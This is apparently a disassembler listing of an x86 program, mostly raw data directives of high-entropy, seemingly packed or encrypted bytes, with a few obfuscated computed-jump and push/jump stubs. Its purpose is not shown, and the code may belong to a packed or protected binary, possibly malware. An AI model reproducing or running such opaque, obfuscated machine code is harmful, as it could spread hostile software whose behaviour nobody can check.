1EC620CDh, 25BF87F9h dd 3143E9CDh, 939734EDh, 8E822873h, 621725EFh, 0FD130A1Eh dd 0E4891F05h, 7C35A6B1h, 2872E73Ch, 453CCED4h, 2872E745h dd 0B547D5CFh, 0D763B31Bh, 0D8EA3A42h, 0E8FA4Ah, 62877C41h dd 0B08C1630h, 0B884F604h, 82933B47h, 23CA3602h, 0F08A1D18h dd 73273C81h, 0A14C5628h, 37A0B361h, 53430BA5h, 636819D1h dd 2F384C65h, 77CFA943h, 4B07DF6Dh, 0F25ED7A1h, 0B8C61E58h dd 0E97CFE1Ch, 0E0F3BE2Eh, 4706F2C1h, 47A954F0h, 0C4658Fh dd 4BE588EAh, 0DD05D0A1h, 9A6AEA3Bh, 807D08h, 59EF6DA4h dd 0D36D5ACCh, 9624056Ah, 9012024Eh, 8EEC004Ch, 8BF51AB6h dd 53FA1EBBh, 0B1587CA7h, 74ADE577h, 53D362F0h, 87AB92BAh dd 1CD4D2DAh, 1CE092B8h, 0D6E3EB82h, 4E36C4AAh, 0DB17698Eh dd 0DE4h, 0D2543E00h, 0C5494938h, 0D9CB305Ch, 0A14AB311h dd 0A9430FD7h, 0B45B77CFh, 455C78C4h, 0BE537FC7h, 0C76A66BEh dd 356D69B5h, 0CD636FB7h, 0D36753B3h, 575E55A9h, 0C781E789h dd 4, 3304EF83h, 3C31243Ch, 243C3324h, 9A6685Ch, 4890000h dd 46396824h, 0C890000h, 3B685724h, 5F36DE56h, 4166BE56h dd 0F7017519h, 75E7815Eh, 810B8E06h, 696640F7h, 5FF8890Ch dd 240C8B54h, 8104C483h, 4ECh, 24048900h, 8B08418Fh, 8950240Ch dd 405E0h, 4050000h, 87000000h, 0FF5C2404h, 81582434h dd 4C4h, 1670E900h, 0DDDFFFFAh db 4Ch, 74h ; --------------------------------------------------------------------------- loc_5EA312: ; CODE XREF: sdfs____:loc_5E9E16j mov eax, 7EF64D9h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0B7h dd 925EA43Ch, 7108D6Ch, 0A208B1A8h, 0F13A504Ch, 0A96BB32Eh dd 8A3DFEC5h, 9C63761Eh, 0B81CB80Bh, 67455E35h, 24C1D06h dd 0E961D70Ch, 16h, 20B11BA4h, 4 dup(0) dd 5DE90000h, 0E7000005h, 2F892454h, 50FC710Bh, 8731BCBEh dd 34600D8Fh, 42DA5B21h, 1460F5E5h, 66E63F99h, 0B2CA6DCFh dd 0F97B9103h, 1A971374h, 286D5F9Ah, 4A62407Ah, 420ED6A0h dd 0F420CDAFh, 8CC81466h, 84300C6Eh, 9F3A0A70h, 0FA10D475h dd 0B45BF578h, 7AAA32C4h, 3AD30F8h, 991988ECh, 7B305CC4h dd 0F4B9B29h, 58049616h, 6B79C5B7h, 21176CD2h, 0A189D48Bh dd 0CFAD410Dh, 0CBB55B77h, 13BA5E7Bh, 0FA623CE7h, 0A2CE2A54h dd 3061FBFBh, 305C3F70h, 823602A0h, 0EC79136Dh, 4C45FDA3h dd 0DF6E74C8h, 0F33F4B55h, 0CEA842EEh, 0A3DE6876h, 305CB3E3h dd 0D92557E5h, 4FD9CBCBh, 5CB45252h, 8E0C230h, 5CB45E79h dd 14A13D30h, 0D7FC6AEBh, 76BC766h, 1F4BB566h, 71AB8431h dd 3F000000h, 44D6A04Ah, 0D0145CA9h, 0E1E343C1h, 0D0215454h dd 1CA93F3Dh, 2506F411h, 0A1FD352Dh, 5C0FBEC0h, 0A851BB30h dd 3195996Bh, 8D584h, 0DC90000h, 30B292EAh, 0ED78CAF8h dd 0A19394h, 0F22612FDh, 0F4C01C5Eh, 0BCCA1A60h, 602F6F22h dd 0C3E1305Ch, 10B0032Ah, 49A1F771h, 6D81356Dh, 759B370Fh dd 1FE7750Bh, 35FF9EB2h, 7EDA5B21h, 0B713A2DCh, 0FAD2A74Ah dd 8BE89F10h, 0FD93E90Ch, 4E43DD6Fh, 305C644Eh, 0D814DCC6h dd 82A834CEh, 640181F0h, 9113305Ch, 0A3D97D59h, 9BE57743h dd 96160F4Bh, 0EA93FD4Eh, 9C81890Fh, 0F381B991h, 7C16894h dd 49EB8AF2h, 410DD1A3h, 5971CDAFh, 0EDC714B5h, 42843129h dd 272516ABh, 68EC8122h, 217CB4C6h, 79h, 0D5A74A81h, 0D1AB4D09h dd 0CDAF410Dh, 0F3B74571h, 0BDC71F59h, 262AD72Fh, 3ED27B87h dd 0B4C0559Fh, 5A7F8B22h, 5A84588Eh, 0FA93139Eh, 526F167Ah dd 20945C44h, 3B976F0Dh, 259569EBh, 51A37019h, 0AD8430F0h dd 8Ah, 0D5A74A35h, 0ACE57F09h, 305CC4ECh, 6B27E24h, 1BB78FF1h dd 0DC9EBC0Ah, 34DAF64Eh, 8385FA4Ah, 0AA671FDAh, 0BB8967AEh dd 0BD5C7025h, 1F96E60Bh, 3ADC78ABh, 28CCE840h, 41CB852h dd 0CC24BE86h, 0AA4E1690h, 38710CD0h, 0A1601DFBh, 35D41CB2h dd 305C8A9Ah, 61F54150h, 2BB9CB1Bh, 0D4D4CDDBh, 3C305C89h dd 2953E666h, 0D6D6CBD5h, 3E305C89h, 7E1F3164h, 7617F97Ch dd 311B5BA5h, 0E674D084h, 0FE3A4894h, 1A3h, 0ED780700h dd 0DABC8AF9h, 0D8FC3449h, 70DB4336h, 650FAD52h, 7B3092D0h dd 0DA68F57Eh, 0D2AC4E0Ah, 52FB1D72h, 52FA8096h, 0CECEC3BDh dd 46305C1Fh, 0C27CE5Ch, 0B9BC71E1h, 6E44A491h, 0FDB44ED8h dd 305CAEBDh, 3E54D57h, 0B597938Eh, 3D01A337h, 74F97B91h dd 0FC4032D8h, 73988305h, 5E069028h, 6062C2BCh, 3C56488h dd 4AE68FE9h, 700ED6A0h, 0E43842D4h, 94A612DEh, 45411AEAh dd 3C007499h, 87264AA6h, 20CDAF4Dh, 1A0D21E3h, 0A84E168Ch dd 4D4D44D6h, 0C72873A4h, 0FBD815DDh, 0EA000000h, 1001A0B3h dd 9C32B08Ch, 9A18970Ah, 0A4FE37B5h, 9CDE7C58h, 86FB9511h dd 28739A06h, 785C940Eh, 425CA0D2h, 3251EBABh, 57A35CB7h dd 1DAFC963h, 12DE9EB1h, 5A030DDEh, 43F28CAEh, 1A6DFEC6h dd 4C788Ch, 784A0000h, 0C4F3B3EEh, 801D305Ch, 406DA868h dd 74BC52B9h, 9527A4B9h, 5C43BC1Ch, 0BC4E54B0h, 442F6F22h dd 0C3E1B05Ch, 4A4A3B77h, 0CDB05C44h, 3E37FAA3h, 42621FA9h dd 0D2305C44h, 73E85DD0h, 1E000000h, 448D0D84h, 1D87305Ch dd 0A0B3F7D5h, 0B18DEF01h, 960B9D33h, 37B5945Bh, 17BF495Bh dd 1EA47800h, 18329ED2h, 0D765D75Eh, 0BA859A5h, 3E287393h dd 9BB1731Ah, 160154D9h, 7DFA1B7h, 245DEF7Dh, 30632CF2h dd 3C98643Eh, 6F805C1Eh, 72FDC069h, 524C5DE2h, 27F519Fh dd 20841B82h, 0E8821092h, 841AF9B9h, 0FB891B20h, 0B4FE3061h dd 70322873h, 0A0B345FDh, 0B78FED01h, 6B19A62Ah, 0A1376165h dd 16087913h, 1A384B66h, 0A22AB488h, 0A511ED8Fh, 9C54EA92h dd 0C0561238h, 0C95C66BEh, 1455CDC0h, 6902630h, 1CDA096Fh dd 0D018C7FEh, 0AFC963CDh, 3761AE57h, 0D0644F4Fh, 235DFF29h dd 6A142692h, 0AC400C9Ah, 0DF2755F8h, 0D5EF37C5h, 0EB69B91Dh dd 0E799BF1Bh, 0E39DB31Fh, 0FBA2B603h, 590004FFh, 42F38DAFh dd 0EA3A44D6h, 709A42DCh, 0F5A43E06h, 10E37B5h, 0D61D41A6h dd 0FE96F684h, 8734CA4h, 93000000h, 46C4DC78h, 4A72D0EAh dd 430FD7A1h, 5B77CFA9h, 5C78C4B4h, 537FC745h, 6A66BEBEh dd 6D69B5C7h, 636FB735h, 6753B3CDh, 5E55A9D3h, 81E28952h dd 4C2h, 4EA8100h, 87000000h, 895C2414h, 8956243Ch, 4C681E6h dd 81000000h, 4EEh, 24348700h, 241C895Ch, 3B4768h, 243C8900h dd 0BD076DBBh, 0FFC38160h, 81FFFFFFh, 325E41C3h, 43E568A7h dd 24890000h, 24048324h, 0C2685F04h, 8900006Ch, 478F241Ch dd 243C8B08h, 81E18951h, 4C1h, 4C18300h, 5C240C87h, 5B2434FFh dd 0E904C483h, 0FFFA10C6h, 0A0C4430h, 856C6872h, 0C71B45F9h dd 0EF6A82B8h, 0FFC50307h, 29A96FE0h, 9688AE40h, 700F8C3Ch dd 5ADB8630h, 0A9E9E272h, 0C47EE137h, 1A1E912h, 0B1FC0000h dd 2C276444h, 98D31AD5h, 0D1D746B1h, 41EFB4CAh, 52E45B7Eh dd 0FB6D5D97h, 9244FCA3h, 92A59EB9h, 0E495BCD7h, 0CB0093B9h dd 0A3F49DB2h, 0B9FC9CACh, 45D2009Eh, 0EE73AFC9h, 9755FC00h dd 6D599CBAh, 0FFB2A4E5h, 0F647FEACh, 0D4C45657h, 0B5F600CCh dd 49F78F7Dh, 0FA975395h, 0CD45C9BCh, 6CA1915Ch, 0ACE5h dd 1, 42h dup(0) dd 97000000h, 33A26D84h, 0EE69F0h, 8 dup(0) dd 0E9000000h, 10D8h, 0EF6EA768h, 0E62EE907h, 9A68FFFAh dd 0E907EF6Fh, 0FFFAE624h, 0EF714968h, 0E61AE907h, 2B68FFFAh dd 0E907EF72h, 0FFFAE610h, 0EF739668h, 0E606E907h, 9468FFFAh dd 0E907EF74h, 0FFFAE5FCh, 0EF754868h, 0E5F2E907h, 0B268FFFAh dd 0E907EF75h, 0FFFAE5E8h, 0EF771368h, 0E5DEE907h, 8068FFFAh dd 0E907EF77h, 0FFFAE5D4h, 0EF786A68h, 0E5CAE907h, 2D68FFFAh dd 0E907EF79h, 0FFFAE5C0h, 0EF79CA68h, 0E5B6E907h, 1668FFFAh dd 0E907EF7Bh, 0FFFAE5ACh, 0EF7C4C68h, 0E5A2E907h, 0EB23FFFAh dd 0F512A73Fh, 0F08C9D1h, 1F7ADFC7h, 306EE3FBh, 0D658F6ECh dd 62789CFAh, 7169B5EFh, 861CC4C0h, 960CDC33h, 5CC06B39h dd 1CA92EF1h, 0DF7E3F99h, 0F5FA1CC4h, 0E8386FEEh, 3CEC238Eh dd 24BA0FA6h, 6AA524B4h, 841F44A6h, 289DD21Fh, 0EF0B48A9h dd 566C80A8h, 0CF374B99h, 6AB6ED6Ch, 0CCB6DE7Fh, 37A213FFh dd 0CE000000h, 0AACC140Fh, 539A3EA5h, 62A6E216h, 5D82425Fh dd 9EB9A44Fh, 0E0F3A928h, 6A271186h, 0DEE09956h, 0BE35C528h dd 99566992h, 219E0556h, 13FFD3D5h, 0E285h, 584FDB00h dd 0FD326E88h, 0B85EBDE0h, 5AF9E093h, 137E983Ch, 0E7CA2CFCh dd 0FD7A60B0h, 0A13FBB1Dh, 5C91EE41h, 36FEA827h, 37537793h dd 0EB229108h, 0FB12A73Fh, 6DFACB2Fh, 53C2697Bh, 59A928F5h dd 14769EF8h, 5C4CB42Fh, 56D169D7h, 52EB0699h, 6482FAB9h dd 108ECF0Ch, 32D63190h, 5DF0EBE8h, 22EC508h, 0C6995767h dd 0CF6474B5h, 0A1433E2Bh, 31900053h, 20A133D3h, 22B823E3h dd 0B7650E9Eh, 73916B8Eh, 8E94B833h, 754916Bh, 1E7CDBC6h dd 0F6F205FEh, 335D2E06h, 0E61AAh, 60B0E800h, 1ABAD77Ah dd 8D4CD8Ch, 3CE43F92h, 0D1F513A6h, 0BD1113C9h, 9227BF5Fh dd 8336AC78h, 0F65B4387h, 0FC6B739Fh, 0F299872Ch, 4451A92Eh dd 8D514FF8h, 0EE6DA415h, 3F84D745h, 34093A1h, 0ED63091h dd 53BF1F93h, 80108016h, 3F8445EBh, 0EBF605A1h, 9EABD65Dh dd 0F0E1A928h, 252A4C94h, 1468A86h, 6986B6E5h, 3D419956h dd 0D3294DC9h, 17B613FFh, 8CB3D7FBh, 0B47015h, 0CF200000h dd 5BF82CAEh, 0BE1A8175h, 6E88584Fh, 0D3C10503h, 0E9F01472h dd 0B8D4752Dh, 0D2C9F610h, 3F89B149h, 55859CA1h, 45958C4Dh dd 709CF657h, 8BD8AD69h, 90FA1A77h, 4EB8A5Fh, 98D9714Bh dd 73A2495Bh, 41A92827h, 0AEEF3750h, 56489D30h, 0D83CA942h dd 4D8EA141h, 7FA3FE5Fh, 0F554E464h, 2C137797h, 0C40806B5h dd 0F91D7BDEh, 56FB04h, 0A74E682Eh, 0D6Eh, 756DBDD5h, 9F07C7C4h dd 0AD35E13Ah, 0B129F12Ch, 0C4C20200h, 6AA8046Eh, 839D3CAAh dd 928E435Bh, 0AAE1504Eh, 39CB607Eh, 2EF38EB2h, 0ED4F4AA9h dd 158D514Fh, 2FBD6DA4h, 34AF73AEh, 0B17E1EBEh, 107F11EBh dd 0E4534E82h, 89197DADh, 739BEDA6h, 0F5EC146Eh, 1B834F46h dd 198B1DAAh, 6AFB26D6h, 6A7194EFh, 8E8B4ADAh, 0C7CE534Eh dd 0C5A928D3h, 0C6DD0D04h, 0C9D93D3Eh, 0FE1AF639h, 8D08334Eh dd 572E1804h, 1883D099h, 572DA993h, 0A6406299h, 0F0CFE847h dd 0F30A2B11h, 0E1F77E8h, 2DAC13FFh, 0D6BF2AF6h, 83h, 0E216538Eh dd 0DE0561A5h, 534A0B99h, 842F6387h, 0A13F8498h, 0C7C20350h dd 0A647A249h, 475A928h, 6783C008h, 56630830h, 47BFC399h dd 71DF54E4h, 29995662h, 0F61EBF2Ah, 6213FFD5h, 43h, 0D316533Ah dd 3F84F458h, 66A7B4A1h, 0D80DE272h, 0F691560Dh, 520B900Bh dd 0C8A92910h, 0C7617B67h, 6C77552Fh, 5F3357A4h, 0BA58E690h dd 31A82228h, 570780A8h, 0CF374B99h, 0FF353343h, 112713h dd 8B790000h, 930h, 3AE68D1Dh, 0FEA13F85h, 7E52E6FDh, 257FC1DFh dd 115EB8F9h, 1C92D78Ah, 0F1DAE78Ch, 350A92Eh, 9D93091h dd 39E92091h, 0AC901BABh, 6C995018h, 2382746Fh, 0BA030A6h dd 0A13F8455h, 9332A6B5h, 0B236AC7Ch, 0B5D1F513h, 6DA4138Eh dd 0DF6459BDh, 8114DBC9h, 659D33D2h, 620FD851h, 185E4631h dd 0A1680381h, 0DB9949DBh, 0AB7CA04Bh, 3F3C8977h, 621F5CA4h dd 3612DB87h, 0BF1FA6C0h, 600000Bh, 75C4C20Eh, 6BEEF418h dd 5DFCEA32h, 0B1009E42h, 0BD2BB353h, 1DC1DFB3h, 32DA3485h dd 21E92594h, 0D10118B9h, 0E58E12C9h, 0A92EF637h, 7E1AA6F3h dd 0FA1CC4DFh, 17BBD6F5h, 4CD5CCF3h, 0A13F85DCh, 6E6274F1h dd 2EEEE8C5h, 697182A9h, 6B796FF4h, 7CA04BDBh, 44995017h dd 501781AFh, 0DE3A3999h, 489D069Dh, 0D2A13F83h, 5BB21381h dd 393178Fh, 60ABC468h, 6C778491h, 766AB6EDh, 8E1C72B9h dd 202F4B97h, 3758AFEFh, 0CE1B6AACh, 0B338C8D8h, 91613D8Dh dd 15930E4Dh, 6C6C485h, 0A962169Bh, 0A5B69950h, 537F9637h dd 4F8F864Bh, 0A4D6F544h, 43A7E495h, 71B8E654h, 0BD19D609h dd 0C8180FF8h, 58A4CA87h, 90FA1E79h, 50954853h, 5CA14A5Eh dd 5E115B7Dh, 73B3601Dh, 0BED8BE63h, 0ADD17h, 0FC2C6400h dd 963653E6h, 84504908h, 0B860BB1Eh, 0AD71AF22h, 39959F35h dd 2EA33BDBh, 1FB228F4h, 72C7DF03h, 78D7CF1Bh, 0F71D03A8h dd 0D8DDA92Eh, 8016537Ch, 0B054B110h, 84A58B20h, 1665A13Fh dd 5B76FD8Bh, 0F1A92EF0h, 0D55EEEE2h, 99501867h, 3BC9D023h dd 2BEF2AABh, 0BA1980CFh, 9B2FB763h, 18BC600Bh, 7F7C9950h dd 41BED564h, 501886AAh, 37534299h, 0B487793h, 88DDA0CAh dd 0E0E98216h, 62A13F83h, 0EC8A3E1Dh, 54A520Ah, 51DF3697h dd 3DAFEC38h, 6F14E1F2h, 647F98E7h, 86346BEEh, 0E406478Bh dd 3E524481h, 465D819Fh, 0E85F2DC6h, 0A2239950h, 575CB068h dd 0CA387210h, 67626185h, 22E22091h, 376EEFFDh, 0D969F9EBh dd 721CEE52h, 20A9AA89h, 89721CFCh, 1AC6DDBCh, 8534CED5h dd 8F4E428Eh, 242B4F93h, 0EA5259BDh, 0E389721Ch, 0D0607066h dd 0D7F21671h, 61883342h, 693E4191h, 48F1DF85h, 51F0E021h dd 41F0EE3Ah, 250A9E4Ah, 0C7C3FE21h, 0B7F8E703h, 9318DF9Bh dd 818303ADh, 8A296E6Dh, 0A551488Ch, 6AD65DEDh, 2E818303h dd 834BF2Dh, 0C0818304h, 30B528B3h, 34812ABEh, 0C689726Fh dd 6DA627B5h, 0C4DC3AA1h, 9791BF34h, 0A497993h, 31A73C9Fh dd 0B5AD08A3h, 1C5F817Ch, 400B4463h, 2CC9D70Eh, 972h, 8911C1D9h dd 930BCBC8h, 0A139E53Eh, 0B52DF510h, 0D8C60604h, 6EAC0062h dd 878130AEh, 96F2475Fh, 0AEE55472h, 3DCF6462h, 2EF78AB6h dd 0E94B4EA9h, 6E88584Fh, 0BADC0C03h, 13897DA1h, 48F47FFCh dd 0A13F84h, 0E64AE1F3h, 0A2A13F84h, 0D98A1051h, 0C16B8BDh dd 7ADh, 688BE300h, 29000005h, 18C8DF7Eh, 1CD8C081h, 23BE62BDh dd 0CCC73B88h, 74D5C704h, 58E8F31Bh, 28AAC2D3h, 9318A8A9h dd 99565DADh, 1256E6Dh, 0DF05CDBEh, 0FDFE069Dh, 0D4F48E15h dd 0BF706C61h, 9F6C4EF2h, 3BE25F3h, 2BC0D0C6h, 0CE32E312h dd 2C6C1B0h, 50BAFBF8h, 50888140h, 0EAB35761h, 0D73370F4h dd 95EF1E8h, 46440597h, 647F6486h, 78B84FE4h, 79B6C64Dh dd 0FA6B15E7h, 0C0EB4C84h, 1DA94525h, 3C3FC5DCh, 2AF62DACh dd 0D7FB17B6h, 9D158CB3h, 3E57E53Ch, 0ABAC5196h, 38CB1EF5h dd 874771Eh, 0C3DB0000h, 0CDCA8F17h, 0E7209109h, 0F712A73Fh dd 806CBD3h, 0FE60DEC4h, 4A507492h, 59418D87h, 6E749CF8h dd 7E64B4EBh, 84A843C1h, 44A92EF8h, 584FD771h, 8ADBC84h dd 41B2A3EAh dd 58860950h, 47A3E087h, 0E2F81C7Ah, 8B82F673h, 0F7343B5Fh dd 0E02864E5h, 0C3C06BF9h, 0B5A92F55h, 7C9332A6h, 0A2F33CACh dd 1C3443h, 0F445DDC4h, 54294D9Dh, 7B0B990Fh, 0FD19BDDAh dd 6DB9D3F6h, 4ADFCA09h, 0A13FD083h, 1BBBD879h, 4BE0F0FFh dd 9160F9E5h, 0C54B56A5h, 6CA322B6h, 4DA226BCh, 0A5C0B272h dd 31801BD4h, 85EC0EDAh, 97BA4787h, 202E0B88h, 7C07F06h dd 0F070000h, 1976DBC3h, 336CEDF5h, 435EF3EBh, 54B2079Fh dd 0B2BC2AB0h, 861CC0DEh, 950DD933h, 0BA20E824h, 0CAD00017h dd 38E48F1Dh, 0F0A92EFAh, 16531BA5h, 529B1080h, 0D0A92EF0h dd 59B01183h, 69A01189h, 0D91AC2DBh, 0BBFF1D4Bh, 90FA3B46h dd 9206982Dh, 0AB36D633h, 0ABE7961Dh, 2E2DA138h, 0DDA0455h dd 1CB9C72Eh, 756h, 6D75A5FDh, 776FAFECh, 851DC9C2h, 0A931D934h dd 0BC2AEA28h, 52B01C06h, 6BA514B2h, 7A963BA3h, 92894856h dd 21E35846h, 2EF9A68Ah, 0F55762A9h, 1184584Fh, 7D30A353h dd 1ABB296Eh, 8DB2D400h, 20B0E016h, 4060A58Bh, 8B1665A1h dd 9705D5CCh, 3451DF36h, 0CE485390h, 27759195h, 9BA20F0h dd 0C15D8EDh, 1B9Dh, 0DF7E3300h, 0F78219C5h, 337h, 0B69A11A1h dd 72A13F84h, 82464261h, 0D4607B78h, 1888584Fh, 7DB662B9h dd 12D4AF66h, 0FF792CEh, 0C4680393h, 84A13FF2h, 74F16C77h dd 0BADC0400h, 0A08C27B5h, 58A13FF2h, 7C6DA1Bh, 0BCA3C70Bh dd 0BD0CA725h, 47A92F5Fh, 0F42BAE34h, 0A67BB424h, 874B4696h dd 857884Ah, 0C22D6591h, 3CD9114Bh, 0C4736E69h, 0E22A64C6h dd 0DD02C2DFh, 0F30060CFh, 6BDDF5B4h, 0E766FA70h, 0DC7F6AAAh dd 83A94287h, 47995101h, 4EE5F734h, 0A1406D5Eh, 2C3D122h dd 72C7DF0Bh, 0C6ABCF1Bh, 49404C8h, 66804C45h, 96CC7079h dd 1C8C9161h, 6196A997h, 2D126191h, 86B612E0h, 0C7C2BE7Ah dd 58D3633Fh, 916263F4h, 73CCBF93h, 0B9D3488Bh, 0F01ABAD8h dd 0B417B2F3h, 9B2BB92Fh, 0D234E03Ah, 446DF6EDh, 0FE994B58h dd 77DD00FDh, 80AE3613h, 5F5E5h, 94445C00h, 8E4E4B0Eh dd 0BC68A110h, 50789326h, 4589874Ah, 117DE75Dh, 6CBD3F3h dd 77DAC00Ch, 6AEFF71Bh, 40FFE733h, 0FC052BC0h, 0F0C5A92Eh dd 88584F54h, 0DC0C036Eh, 0CF0F0DCCh, 9123A8ABh, 421B80B5h dd 6770861Dh, 3269C323h, 2F47F8E6h, 5B0C15B9h, 7, 18C8B7Dh dd 4F290000h, 0FAF78858h, 89DE2AFDh, 588C66Fh, 0D7CF0000h dd 0E13E930Bh, 0FB14A53Dh, 0B06CBD3h, 1C7ADFC7h, 0EA74E2F8h dd 5E448886h, 6D75A1FBh, 7268B0ECh, 8218C8DFh, 70DC57D5h dd 28A92EFBh, 584FC36Dh, 0C036E88h, 13A1BADCh, 8444E883h dd 514DA13Fh, 19726389h, 65AAA9CDh, 8450FC77h, 0CB08A13Fh dd 54C83ED0h, 75F5ED3Dh, 0E35975BAh, 0A7226B7Ch, 15EAEE06h dd 2A9A0Ch, 47060000h, 0BF198050h, 1EC6DF7Eh, 567A95FCh dd 0FB0F8A11h, 0AD000000h, 19C5DF7Eh, 0B2F2FAFDh, 0B9F3276Eh dd 0E7166178h, 4A000000h, 19C5DF7Eh, 70EBF6FDh, 1705AEF3h dd 0D3A13F85h, 84F458D3h, 0A7B4A13Fh, 23B32166h, 0E4A6A8CCh dd 94F2D850h, 0E8291670h, 696168F1h, 90E3A92Fh, 93474100h dd 2FBCB27h, 607BB8C4h, 1C92D796h, 0F57AE78Ch, 0A3B0A139h dd 2A5EBDEh, 0CB527C2Eh, 49Eh, 0A53DED25h, 0CFD7F714h dd 0DDC5110Ah, 0E1F9217Ch, 0F4923250h, 9AF8D45Eh, 0B3ED6C7Ah dd 0C2DE736Bh, 0DA31801Eh, 693B900Eh, 2EFC5EC2h, 3D9F1AA9h dd 58D31653h, 0A13F84F4h, 56BCABB4h, 1EDE9E0Eh, 630898D9h dd 0A9290313h, 2B9CFA5Bh, 56689C80h, 0DE1F5C99h, 17B7D5BCh dd 1D8FCCF3h, 5668AA96h, 766D6E99h, 0FE5F4D8Eh, 0FA6179A5h dd 99566853h, 9914158h, 5FD44F48h, 995668F1h, 1662A2E0h dd 0DB6284C5h, 416h, 0C91162CDh, 0ADFA755Fh, 16538236h dd 529B1080h, 0D0A92EF1h, 0C1066783h, 51CBD2Fh, 0AE3ECED5h dd 88D85A41h, 0A8333D6Dh, 392B5E03h, 0A25F9CA1h, 2E0D73FDh dd 0DBA5406Eh, 62000003h, 51E0FE2Ah, 470A9034h, 0B918864Eh dd 0AD2CBA5Eh, 9937AF6Fh, 39DD3B97h, 2EF610A1h, 0DD0501B0h dd 0CD1D74C5h, 1AA7ED5h, 0A92EFE1Bh, 537EDADFh, 9B108016h dd 0A92EF156h, 0B41587D4h, 5BE8815Dh, 0F478D5Eh, 6EAF6FACh dd 12CAC170h, 76AA25FEh, 6D89CEAFh, 5CB7CB18h, 0F115B9D6h dd 66698DF2h, 8FCAD086h, 93D01126h, 76F66A01h, 152A13Fh dd 49420393h, 60B7069Dh, 70A72AB0h, 8B4A46A0h, 3D224494h dd 28BE0BA6h, 0B8EA33B8h, 0EBE89949h, 12F9BF16h, 7AEC836h dd 33Eh, 455D8D85h, 6F7797F4h, 7D65B1EAh, 8119C1DCh, 9432D230h dd 3A58343Eh, 534D0C9Ah, 62BE138Bh, 7A9120BEh, 99B30AEh dd 2EFDBE62h, 9D3F7AA9h, 6E88584Fh, 0C6DC0C03h, 1339B242h dd 0D7A13F85h, 25A21D84h, 478A21B3h, 0BDA9289Dh, 6B9A862Dh dd 0F9179956h, 25BCBFD5h, 3D7A9CDFh, 99566C0Bh, 0F644A2DCh dd 13FFCD9Eh, 43CAh, 16538200h, 0F69B1080h, 34A9289Eh dd 58D34C45h, 99566AF4h, 2166A7B4h, 0A48823B3h, 6499566Ah dd 0D8A8C17h, 99566B1Bh, 0E634D2ECh, 13FFD28Eh, 0BB63BC1Dh dd 40DF105Fh, 98F5F2A8h, 0EB13746Fh, 0B5000000h, 6E88584Fh dd 527A9332h, 21900B48h, 0FAC723E3h, 8A6577A3h, 0D4176C99h dd 0A75F4A1Eh, 8517C3DAh, 423A90AAh, 757A9C48h, 37858938h dd 48537B94h, 0ADD535B2h, 61B8A13Fh, 71A829B1h, 0E36045A1h dd 8E4FDFCDh, 0DA464F93h, 9EA13FA3h, 0A3B7650Eh, 6073A13Fh dd 9828B823h, 874F4908h, 3FA4220Eh, 0C896C1A1h, 11C893C4h dd 78E1F8FBh, 0A928CEC5h, 974E54A7h, 0A74C5C52h, 0A14264AAh dd 60E1F300h, 5EEEE222h, 6AB467D5h, 0C9D02391h, 42828031h dd 1CDECA1h, 0B4517F2Eh, 1F2h, 9914159h, 138B4B48h, 21B965BEh dd 35AD7590h, 58468684h, 0EE2C80E2h, 701B02Eh, 1672C7DFh dd 2E65D4F2h, 0BD4FE4E2h, 2F000A36h, 69CBCEA9h, 2C2DF7Eh dd 51E0FBF8h, 770B9333h, 0F511BDD6h, 2D64D3CEh, 0E465E5FDh dd 0DF0466A6h, 0DF7E70C4h, 0F9257EC4h, 8D1D5EB8h, 0B59539DCh dd 5CB51455h, 31B629B0h, 3C9D2DBFh, 9B3F5AE0h, 0A833305Ah dd 28B55E03h, 0F554E4A9h, 0D57B709Ch, 95995680h, 0A6B55B46h dd 80E55744h, 0F2A69956h, 0F7923A53h, 53A3EF17h, 713FFBCh dd 0F0h, 88584F59h, 0C105036Eh, 888243D3h, 0BC353A5Ch dd 0A13F8490h, 66900B48h, 0AA72AB2Ah, 1A910340h, 0A13F8536h dd 71FAE1F2h, 0A13F8999h, 554D9DF4h, 197DADE4h, 1B891FA4h dd 4461A48Bh, 2A1907ACh, 82D1A13Fh, 5484CA51h, 969A44Dh dd 0F43BA928h, 40184FDh, 0A6D28FC0h, 80444160h, 0F0E0F319h dd 8A65CB60h, 85259955h, 558A42EEh, 0B4F50699h, 0AB38952Dh dd 0F20CA735h, 0AA1415Fh, 0E44BDBC9h, 7B3183A7h, 79D8C39Fh dd 6EE3FB1Bh, 9013EC30h, 0DB2E0002h, 0BC10BDh, 0B030000h dd 1572C7DFh, 2F68E9F1h, 3F5AFFE7h, 504E039Bh, 0B6B8168Ch dd 8218BCDAh, 9109D5CFh, 0A63CE420h, 0B62CFC13h, 3CE08B19h dd 0FCA92F01h, 0EE7E1FB9h, 3F84D745h, 19BDDAA1h, 408482F3h dd 0A363A003h, 5B7B9938h, 842FBF43h, 0A13F8498h, 39980350h dd 2CA836E2h, 0AEEA584Fh, 0D1C1256Ah, 0A9E3FB1Eh, 0D6560280h dd 5F1D56C4h, 7DDCC7F7h, 5CECFA26h, 647F9FFDh, 766A7CC9h dd 2F467BFDh, 7294E7A9h dd 514AF82Fh, 0FB5E4485h, 651274A4h, 0FCFC3FA6h, 9E0EF80Ah dd 8E435B87h, 25ED2997h, 0E43F82E4h, 7F9B475Eh, 0EBD73370h dd 0E43B7195h, 0F42BAE34h, 33BC224h, 59000000h, 574F2E8Ah dd 0B026F8Bh, 0BAD6BBDFh, 73ADF416h, 24624FABh, 0DD3B86E0h dd 99F4DD39h, 534C1571h, 5026F8Bh, 56B7A5C1h, 0C6815E54h dd 4, 8704EE83h, 685C2434h, 6F1Ah, 68242C89h, 205h, 52240489h dd 0EF6D6CBAh, 8BD58907h, 0C4812414h, 4, 623868h, 24248900h dd 4240481h, 58000000h, 31B95155h, 294C2537h, 5904244Ch dd 8108408Fh, 37310840h, 48B4C25h, 0E7895724h, 4C781h dd 0C7830000h, 243C8704h, 2434FF5Ch, 4C4815Dh, 0E9000000h dd 0FFFAD568h, 5049CABFh, 0CDEFADB2h, 0EF7D2DB8h, 0FFC50307h dd 0CD30B2E0h, 0DC414E7Fh, 6735564Ch, 0AE047F25h, 0E49FC97Fh dd 8F38CC1Eh, 794F5239h, 80D8371Fh, 3E8FF14Dh, 7348246Ch dd 680E2B71h, 0D0C41E6Fh, 0B12BF829h, 0B9C1E014h, 2869B075h dd 0F4AFE673h, 1C4A6146h, 0A0813D70h, 0A0C01021h, 0F563F5Ah dd 0EFBC2A23h, 86C0B76Eh, 5E824h, 2ABA0000h, 0FC93C264h dd 0DB81665Ah, 0C281F628h, 5E60h, 4A4BB66h, 1767BFh, 0F783BB00h dd 0A8B594Ch, 81B3E080h, 0BB028AF1h, 81F18B41h, 0D437A0E9h dd 870F66h, 